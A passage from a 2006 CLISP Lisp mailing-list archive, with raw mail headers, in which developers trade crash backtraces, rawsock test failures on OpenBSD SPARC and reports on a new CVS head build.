in C_translate_logical_pathname () at pathname.d:2284 #43 0x00042758 in C_logical_pathname () at pathname.d:2175 #44 0x000423bc in coerce_xpathname (obj=0x68514833) at pathname.d:2030 #45 0x00042d18 in subdir_namestring_parts (path=0x391bd2, logp=3745977) at pathname.d:2357 #46 0x000426dc in signal_type_error (sp=0x6851483b, frame=0x39dbf8, label=0x7a3800, condition=0xfb5d6000) at pathname.d:2162 #47 0x000423bc in coerce_xpathname (obj=0x6851483b) at pathname.d:2030 #48 0x00042fa4 in nametype_namestring_parts (name=0x38c0b2, type=0x3928b9, version=0x3928b9) at pathname.d:2492 #49 0x000426dc in signal_type_error (sp=0x68514843, frame=0x39dbf8, label=0x7a3800, condition=0x216f7351) at pathname.d:2162 #50 0x000423bc in coerce_xpathname (obj=0x68514843) at pathname.d:2030 #51 0x000c8418 in digits_need (len=820132, base=32) at intprint.d:148 #52 0x0004608c in nametype_diff_aux (pattern=0x38c5d2, sample=0x20, logical=8002376, previous=0x7a3a10, solutions=0x685148a0) at pathname.d:4367 #53 0x00045ab8 in C_pathname_match_p () at pathname.d:4145 #54 0x000488b0 in C_probe_directory () at pathname.d:5986 #55 0x000468c4 in translate_host (subst=0x468bc, pattern=0x2176e9f9, logical=0) at pathname.d:4605 #56 0x00045a9c in C_pathname_match_p () at pathname.d:4141 ---Type to continue, or q to quit--- #57 0x000517fc in make_synonym_stream (symbol=0x51784) at stream.d:1512 #58 0x000489b4 in pathname_to_OSdir (pathname=0x21726701, use_default=561145184) at pathname.d:6014 #59 0x000468c4 in translate_host (subst=0x468bc, pattern=0x21726701, logical=560102385) at pathname.d:4605 #60 0x00045a9c in C_pathname_match_p () at pathname.d:4141 #61 0x0003ced8 in java_mbstowcs (encoding=0x7a1bf8, stream=0x21762750, srcp=0x7a1800, srcend=0x7a1bf0 "", destp=0x7a1bf8, destend=0x0) at encoding.d:1198 #62 0x00039000 in C_multiple_value_call () at control.d:1734 #63 0x00012e44 in __register_frame_info () #64 0x00012e44 in __register_frame_info () cheers bruce -- edoneel@sdf.lonestar.org SDF Public Access UNIX System - http://sdf.lonestar.org From edoneel@sdf.lonestar.org Sun Sep 03 11:52:58 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GJx5W-0008SE-14 for clisp-list@lists.sourceforge.net; Sun, 03 Sep 2006 11:52:58 -0700 Received: from mx.freeshell.org ([192.94.73.18] helo=sdf.lonestar.org ident=root) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GJx5V-0003Hy-Jl for clisp-list@lists.sourceforge.net; Sun, 03 Sep 2006 11:52:58 -0700 Received: from sdf.lonestar.org (IDENT:edoneel@norge.freeshell.org [192.94.73.3]) by sdf.lonestar.org (8.13.5.20060308/8.13.8) with ESMTP id k83Iqrhg007055 for ; Sun, 3 Sep 2006 18:52:54 GMT Received: (from edoneel@localhost) by sdf.lonestar.org (8.13.8/8.12.8/Submit) id k83IqrwY021298 for clisp-list@lists.sourceforge.net; Sun, 3 Sep 2006 18:52:53 GMT Date: Sun, 3 Sep 2006 18:52:53 +0000 From: "Bruce O'Neel" To: clisp-list@lists.sourceforge.net Message-ID: <20060903185253.GB7116@SDF.LONESTAR.ORG> References: <20060901115519.GB26528@SDF.LONESTAR.ORG> <44F829F0.7090101@gnu.org> <20060902162402.GA14561@SDF.LONESTAR.ORG> <20060903184152.GA7116@SDF.LONESTAR.ORG> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20060903184152.GA7116@SDF.LONESTAR.ORG> User-Agent: Mutt/1.4.2.1i X-Spam-Score: 1.9 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.9 UPPERCASE_50_75 message body is 50-75% uppercase Subject: Re: [clisp-list] Success with OpenBSD 3.9 SPARC X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 03 Sep 2006 18:52:58 -0000 Hi, If I do gmake and then gmake mod-check it hangs: (:DATUM :FOO :EXPECTED-TYPE (OR INTEGER (MEMBER NIL :UNSPEC :UNIX :LOCAL :INET :IMPLINK :PUP :CHAOS :DATAKIT :CCITT :IPX :NS :ISO :OSI :ECMA :APPLETALK :INET6 :DECNET :KEY :DLI :LAT :HYLINK :ROUTE :SNA :BLUETOOTH))) EQL-OK: NIL (INTEGERP (SHOW (SETQ *SOCK* (RAWSOCK:SOCKET :INET :STREAM NIL)))) 6 EQL-OK: T (UNLESS (EQUALP #(127 0 0 1) (SUBSEQ (RAWSOCK:SOCKADDR-DATA *SA-LOCAL*) 2 6)) (RAWSOCK:BIND *SOCK* *SA-LOCAL*) (NOT (LOCAL-SA-CHECK *SOCK* *SA-LOCAL*))) [SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SA-LOCAL* has no value ERROR!! ERROR should be NIL ! (RAWSOCK:CONNECT *SOCK* *SA-REMOTE*) [SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SA-REMOTE* has no value ERROR!! ERROR should be NIL ! (EQUALP (RAWSOCK:GETPEERNAME *SOCK* T) *SA-REMOTE*) [SIMPLE-FILE-ERROR]: UNIX error 57 (ENOTCONN): Socket is not connected ERROR!! ERROR should be T ! (LISTP (SHOW (LIST (MULTIPLE-VALUE-LIST (SOCKET-STREAM-LOCAL *SOCK*)) (MULTIPLE-VALUE-LIST (SOCKET-STREAM-PEER *SOCK*))))) [SIMPLE-OS-ERROR]: UNIX error 57 (ENOTCONN): Socket is not connected ERROR!! ERROR should be T ! (SOCKET-STATUS (LIST (CONS *SOCK* :INPUT))) My guess? Rawsock isn't a good choice, for what ever reason, on this platform. cheers bruce -- edoneel@sdf.lonestar.org SDF Public Access UNIX System - http://sdf.lonestar.org From sds@podval.org Sun Sep 03 13:44:19 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GJypH-0001Hx-LH for clisp-list@lists.sourceforge.net; Sun, 03 Sep 2006 13:44:19 -0700 Received: from mta8.srv.hcvlny.cv.net ([167.206.4.203]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GJypE-0001LU-EZ for clisp-list@lists.sourceforge.net; Sun, 03 Sep 2006 13:44:20 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta8.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J51001NHAVB88I5@mta8.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sun, 03 Sep 2006 16:42:48 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 3E08F21E090; Sun, 03 Sep 2006 16:44:09 -0400 (EDT) Date: Sun, 03 Sep 2006 16:44:08 -0400 From: Sam Steingold In-reply-to: <20060903185253.GB7116@SDF.LONESTAR.ORG> To: clisp-list@lists.sourceforge.net, Bruce O'Neel Mail-followup-to: clisp-list@lists.sourceforge.net, Bruce O'Neel Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <20060901115519.GB26528@SDF.LONESTAR.ORG> <44F829F0.7090101@gnu.org> <20060902162402.GA14561@SDF.LONESTAR.ORG> <20060903184152.GA7116@SDF.LONESTAR.ORG> <20060903185253.GB7116@SDF.LONESTAR.ORG> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: Re: [clisp-list] Success with OpenBSD 3.9 SPARC X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 03 Sep 2006 20:44:19 -0000 > * Bruce O'Neel [2006-09-03 18:52:53 +0000]: > > (UNLESS (EQUALP #(127 0 0 1) (SUBSEQ (RAWSOCK:SOCKADDR-DATA *SA-LOCAL*) 2 6)) (RAWSOCK:BIND *SOCK* *SA-LOCAL*) (NOT (LOCAL-SA-CHECK *SOCK* *SA-LOCAL*))) > [SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SA-LOCAL* has no value oops. 2.39 rawsock is broken on big-endian, cvs has the fix. it would be nice if you could test cvs head. thanks. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://iris.org.il http://mideasttruth.com http://ffii.org http://thereligionofpeace.com http://jihadwatch.org My name is Deja Vu. Have we met before? From sds@podval.org Sun Sep 03 13:55:33 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GJz09-0002HA-M3 for clisp-list@lists.sourceforge.net; Sun, 03 Sep 2006 13:55:33 -0700 Received: from mta7.srv.hcvlny.cv.net ([167.206.4.202]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GJz08-0003Os-4Z for clisp-list@lists.sourceforge.net; Sun, 03 Sep 2006 13:55:33 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta7.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J5100DH1BGDF125@mta7.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sun, 03 Sep 2006 16:55:25 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 0A40721E090; Sun, 03 Sep 2006 16:55:25 -0400 (EDT) Date: Sun, 03 Sep 2006 16:55:24 -0400 From: Sam Steingold In-reply-to: <20060903184152.GA7116@SDF.LONESTAR.ORG> To: clisp-list@lists.sourceforge.net, Bruce O'Neel Mail-followup-to: clisp-list@lists.sourceforge.net, Bruce O'Neel Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <20060901115519.GB26528@SDF.LONESTAR.ORG> <44F829F0.7090101@gnu.org> <20060902162402.GA14561@SDF.LONESTAR.ORG> <20060903184152.GA7116@SDF.LONESTAR.ORG> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] Success with OpenBSD 3.9 SPARC X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 03 Sep 2006 20:55:36 -0000 > * Bruce O'Neel [2006-09-03 18:41:52 +0000]: > > > *** - handle_fault error2 ! address = 0x77bb1852 not in [0x6851d570,0x68587000) ! > SIGSEGV cannot be cured. Fault address = 0x77bb1852. > Permanently allocated: 86848 bytes. > Currently in use: 2490792 bytes. > Free space: 10392 bytes. > Segmentation fault (core dumped) > > The stack looks like: > > #0 0x000c98a8 in RA_RA_comp (r=0xf7fe5d48, s=0x77bb183e) at rational.d:420 > #1 0x0003dde8 in C_make_encoding () at encoding.d:1989 > #2 0x0003dfb8 in C_make_encoding () at encoding.d:2056 > #3 0x000ccaa8 in LF_minus_LF (x=0x88000000) at lfloat.d:441 > #4 0x00046068 in nametype_diff_aux (pattern=0x38cb32, sample=0xc3f02a4, logical=285472, > previous=0xfb5d7fb0, solutions=0xf7fe62e0) at pathname.d:4367 > #5 0x00045ab8 in C_pathname_match_p () at pathname.d:4145 > #6 0x000cb098 in FF_FF_comp (x=0x217fa5d1, y=0x6) at ffloat.d:294 > #7 0x000cb490 in FF_to_I (x=0xc3f0284) at ffloat.d:718 > #8 0x000cb4dc in FF_to_I (x=0x17) at ffloat.d:718 > #9 0x000cb4f8 in I_to_FF (x=0x17, signal_overflow=2368824) at ffloat.d:747 > #10 0x0008a168 in gcinvariant_hashcode3_p (obj=0x8a058) at hashtabl.d:691 > #11 0x0004608c in nametype_diff_aux (pattern=0x38d1f2, sample=0xc, logical=562012577, > previous=0x217fa1f0, solutions=0xf7fe65d8) at pathname.d:4367 > #12 0x00045ab8 in C_pathname_match_p () at pathname.d:4145 > #13 0x00086504 in elt_nreverse (dv=0x11a7, index=205455904, count=550432) at array.d:3700 > #14 0x0008662c in elt_nreverse (dv=0xc3f0220, index=205455976, count=3789401) > at array.d:3714 > #15 0x00086fc4 in ssstring_push_extend (ssstring=0xc3f0220, ch=3745977) at array.d:4101 > #16 0x0008b9dc in gcinvariant_hashcode4_p (obj=0x3928b9) at hashtabl.d:1320 > #17 0x0008c0f0 in rehash (ht=0x8c044) at hashtabl.d:1517 > #18 0x000433c8 in merge_dirs (p_directory=0xfb5d6000, d_directory=0x3928b9, > p_log=3745977, wildp=562012520, called_from_make_pathname=8010256) at pathname.d:2720 > #19 0x000426dc in signal_type_error (sp=0x685119b3, frame=0x39dbf8, label=0x7a3800, > condition=0xfb5d7fb0) at pathname.d:2162 > #20 0x000423bc in coerce_xpathname (obj=0x685119b3) at pathname.d:2030 > #21 0x0003eb94 in init_encodings_1 () at encoding.d:2397 > #22 0x0003ebcc in init_encodings_1 () at encoding.d:2402 > #23 0x0005216c in pk_ch_concat (stream_=0x5215c) at stream.d:1833 > #24 0x000489b4 in pathname_to_OSdir (pathname=0x21763711, use_default=561395368) > at pathname.d:6014 > #25 0x000468c4 in translate_host (subst=0x468bc, pattern=0x21763711, logical=1077940354) > at pathname.d:4605 > #26 0x00045a9c in C_pathname_match_p () at pathname.d:4141 > #27 0x000487ac in directory_exists (pathname=0x21763501) at pathname.d:5965 > #28 0x000468c4 in translate_host (subst=0x468bc, pattern=0x217fa101, logical=8002376) > at pathname.d:4605 > #29 0x00045a9c in C_pathname_match_p () at pathname.d:4141 > #30 0x00048f70 in rename_file () at pathname.d:6145 > #31 0x000468c4 in translate_host (subst=0x468bc, pattern=0x217670b9, logical=2147483583) > at pathname.d:4605 > #32 0x00045a9c in C_pathname_match_p () at pathname.d:4141 > #33 0x00048f70 in rename_file () at pathname.d:6145 > #34 0x00046838 in subst_customary_case (obj=0x217690a9) at pathname.d:4549 > #35 0x00045a9c in C_pathname_match_p () at pathname.d:4141 > #36 0x0004ff08 in var_stream (sym=0x685144c3, strmflags=196 'D') at lispbibl.d:15306 > #37 0x00048ca4 in C_delete_file () at pathname.d:6086 > #38 0x00043ee4 in legal_logical_word (obj=0x21769931) at pathname.d:3186 > #39 0x00042708 in C_logical_pathname () at pathname.d:2168 > #40 0x000423bc in coerce_xpathname (obj=0x6851482b) at pathname.d:2030 > #41 0x00052ca8 in make_echo_stream (input_stream=0x52c6c, output_stream=0x3928b9) > at stream.d:2288 > #42 0x00042ad0 in C_translate_logical_pathname () at pathname.d:2284 > #43 0x00042758 in C_logical_pathname () at pathname.d:2175 > #44 0x000423bc in coerce_xpathname (obj=0x68514833) at pathname.d:2030 > #45 0x00042d18 in subdir_namestring_parts (path=0x391bd2, logp=3745977) at pathname.d:2357 > #46 0x000426dc in signal_type_error (sp=0x6851483b, frame=0x39dbf8, label=0x7a3800, > condition=0xfb5d6000) at pathname.d:2162 > #47 0x000423bc in coerce_xpathname (obj=0x6851483b) at pathname.d:2030 > #48 0x00042fa4 in nametype_namestring_parts (name=0x38c0b2, type=0x3928b9, > version=0x3928b9) at pathname.d:2492 > #49 0x000426dc in signal_type_error (sp=0x68514843, frame=0x39dbf8, label=0x7a3800, > condition=0x216f7351) at pathname.d:2162 > #50 0x000423bc in coerce_xpathname (obj=0x68514843) at pathname.d:2030 > #51 0x000c8418 in digits_need (len=820132, base=32) at intprint.d:148 > #52 0x0004608c in nametype_diff_aux (pattern=0x38c5d2, sample=0x20, logical=8002376, > previous=0x7a3a10, solutions=0x685148a0) at pathname.d:4367 > #53 0x00045ab8 in C_pathname_match_p () at pathname.d:4145 > #54 0x000488b0 in C_probe_directory () at pathname.d:5986 > #55 0x000468c4 in translate_host (subst=0x468bc, pattern=0x2176e9f9, logical=0) > at pathname.d:4605 > #56 0x00045a9c in C_pathname_match_p () at pathname.d:4141 > ---Type to continue, or q to quit--- > #57 0x000517fc in make_synonym_stream (symbol=0x51784) at stream.d:1512 > #58 0x000489b4 in pathname_to_OSdir (pathname=0x21726701, use_default=561145184) > at pathname.d:6014 > #59 0x000468c4 in translate_host (subst=0x468bc, pattern=0x21726701, logical=560102385) > at pathname.d:4605 > #60 0x00045a9c in C_pathname_match_p () at pathname.d:4141 > #61 0x0003ced8 in java_mbstowcs (encoding=0x7a1bf8, stream=0x21762750, srcp=0x7a1800, > srcend=0x7a1bf0 "", destp=0x7a1bf8, destend=0x0) at encoding.d:1198 > #62 0x00039000 in C_multiple_value_call () at control.d:1734 > #63 0x00012e44 in __register_frame_info () > #64 0x00012e44 in __register_frame_info () the stack makes no sense to me (probably memory has been corrupted before the crash). (nametype_diff_aux cannot call LF_minus_LF &c) could you please try to reproduce this bug with a "--with-debug" build? http://clisp.cons.org/impnotes/faq.html#faq-debug thanks. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://pmw.org.il http://openvotingconsortium.org http://israelunderattack.slide.com http://camera.org http://honestreporting.com Those who value Life above Freedom are destined to lose both. From sds@podval.org Sun Sep 03 21:32:34 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GK68Q-0006ds-0v for clisp-list@lists.sourceforge.net; Sun, 03 Sep 2006 21:32:34 -0700 Received: from mta8.srv.hcvlny.cv.net ([167.206.4.203]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GK68O-0004IG-NK for clisp-list@lists.sourceforge.net; Sun, 03 Sep 2006 21:32:35 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta8.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J51001MLWFV8BM4@mta8.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Mon, 04 Sep 2006 00:28:43 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 0580121E090; Mon, 04 Sep 2006 00:30:04 -0400 (EDT) Date: Mon, 04 Sep 2006 00:30:04 -0400 From: Sam Steingold To: clisp-list@lists.sourceforge.net Mail-followup-to: clisp-list@lists.sourceforge.net Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Sep 2006 04:32:34 -0000 Hi I just checked in a rather large change: now the closure object can contain the doc string and lambda list (depending on the OPTIMIZE SPACE declration). please test the latest cvs head (note that you will need to recompile all your *.fas files). http://www.podval.org/~sds/clisp/impnotes/declarations.html#space-decl thanks. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://openvotingconsortium.org http://iris.org.il http://honestreporting.com http://truepeace.org http://jihadwatch.org http://thereligionofpeace.com There is an exception to every rule, including this one. From s11@member.fsf.org Sun Sep 03 22:07:07 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GK6fr-0000zn-JC for clisp-list@lists.sourceforge.net; Sun, 03 Sep 2006 22:07:07 -0700 Received: from gateway.insightbb.com ([74.128.0.19] helo=asav07.insightbb.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GK6fr-00027q-DU for clisp-list@lists.sourceforge.net; Sun, 03 Sep 2006 22:07:08 -0700 Received: from dhcp-74-137-226-136.insightbb.com (HELO [192.168.10.5]) ([74.137.226.136]) by asav07.insightbb.com with ESMTP; 04 Sep 2006 01:07:04 -0400 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AQAAAJdQ+0QN Message-ID: <44FBB476.3000901@member.fsf.org> Date: Mon, 04 Sep 2006 00:07:02 -0500 From: Stephen Compall User-Agent: Thunderbird 1.5.0.5 (Macintosh/20060719) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: X-Enigmail-Version: 0.94.0.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Spam-Score: -2.3 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Sep 2006 05:07:07 -0000 Sam Steingold wrote: > I just checked in a rather large change: now the closure object can > contain the doc string and lambda list (depending on the OPTIMIZE SPACE > declration). please test the latest cvs head (note that you will need to > recompile all your *.fas files). > http://www.podval.org/~sds/clisp/impnotes/declarations.html#space-decl > thanks. Same configuration as for https://sourceforge.net/tracker/index.php?func=detail&aid=1550803&group_id=1355&atid=101355 , except updated to today's CVS: I get a cascade of test failures beginning with the following: (DEF-CALL-OUT C-SELF (:NAME "ffi_identity") (:DOCUMENTATION "return the pointer argument as is") (:ARGUMENTS (OBJ C-POINTER)) (:RETURN-TYPE C-POINTER) (:LANGUAGE :STDC)) [SIMPLE-UNBOUND-VARIABLE]: SYSTEM::DECLARED-OPTIMIZE: symbol SYSTEM::*DENV* has no value CLISP quits a little while later with an error message; see http://scompall.nocandysw.com/_local/clisp-20060903-errors.log for a log (29KB, 476 lines) beginning with that failure. Complete log (543KB, 9800 lines) available if you like. I compared this to my log from 1 September, in which this failure does not occur. There are no local changes in my tree; it is a pure CVS head. -- Stephen Compall http://scompall.nocandysw.com/blog From sds@podval.org Sun Sep 03 22:56:14 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GK7RO-0004xG-0m for clisp-list@lists.sourceforge.net; Sun, 03 Sep 2006 22:56:14 -0700 Received: from mta4.srv.hcvlny.cv.net ([167.206.4.199]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GK7RM-0002fj-Rv for clisp-list@lists.sourceforge.net; Sun, 03 Sep 2006 22:56:15 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta4.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J5200MFB0HP8R61@mta4.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Mon, 04 Sep 2006 01:56:14 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 5FB6021E090; Mon, 04 Sep 2006 01:56:04 -0400 (EDT) Date: Mon, 04 Sep 2006 01:56:03 -0400 From: Sam Steingold In-reply-to: <44FBB476.3000901@member.fsf.org> To: clisp-list@lists.sourceforge.net, Stephen Compall Mail-followup-to: clisp-list@lists.sourceforge.net, Stephen Compall Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <44FBB476.3000901@member.fsf.org> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Sep 2006 05:56:14 -0000 > * Stephen Compall [2006-09-04 00:07:02 -0500]: > > (DEF-CALL-OUT C-SELF (:NAME "ffi_identity") (:DOCUMENTATION "return > the pointer argument as is") (:ARGUMENTS (OBJ C-POINTER)) > (:RETURN-TYPE C-POINTER) (:LANGUAGE :STDC)) > [SIMPLE-UNBOUND-VARIABLE]: SYSTEM::DECLARED-OPTIMIZE: symbol > SYSTEM::*DENV* has no value you are too fast :-) I fixed this a couple of minutes after I sent the message. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://camera.org http://palestinefacts.org http://thereligionofpeace.com http://pmw.org.il http://israelunderattack.slide.com MS Windows vs IBM OS/2: Why marketing matters more than technology... From kavenchuk@tut.by Mon Sep 04 11:16:08 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKIzQ-00071Q-Gy for clisp-list@lists.sourceforge.net; Mon, 04 Sep 2006 11:16:08 -0700 Received: from mail.tut.by ([195.137.160.40]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GKIzR-00020o-NQ for clisp-list@lists.sourceforge.net; Mon, 04 Sep 2006 11:16:11 -0700 Received: from [194.158.220.7] (account kavenchuk HELO [194.158.220.7]) by mail.tut.by (CommuniGate Pro SMTP 4.3.8) with ESMTPSA id 130858136 for clisp-list@lists.sourceforge.net; Mon, 04 Sep 2006 21:15:57 +0300 Message-ID: <44FC6DFD.2070309@tut.by> Date: Mon, 04 Sep 2006 21:18:37 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.0.6) Gecko/20060729 SeaMonkey/1.0.4 MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Sep 2006 18:16:08 -0000 build on mingw is ok (I did not test more) Thanks! -- WBR, Yaroslav Kavenchuk. From jkoski11@comcast.net Mon Sep 04 19:20:09 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKQXp-00071g-4F for clisp-list@lists.sourceforge.net; Mon, 04 Sep 2006 19:20:09 -0700 Received: from alnrmhc12.comcast.net ([206.18.177.52]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GKQXq-0000Qt-5d for clisp-list@lists.sourceforge.net; Mon, 04 Sep 2006 19:20:12 -0700 Received: from [192.168.0.101] (c-68-35-95-225.hsd1.nm.comcast.net[68.35.95.225]) by comcast.net (alnrmhc12) with SMTP id <20060905022000b120058ju0e>; Tue, 5 Sep 2006 02:20:01 +0000 User-Agent: Microsoft-Entourage/11.2.5.060620 Date: Mon, 04 Sep 2006 20:20:00 -0600 From: Joe Koski To: clisp list Message-ID: Thread-Topic: Build problems for clisp-2.39 with Mac OS X 10.4.7 on a G5 Thread-Index: AcbQkcm7CH6g4zyFEdu1RQAKlbaO5g== Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Subject: 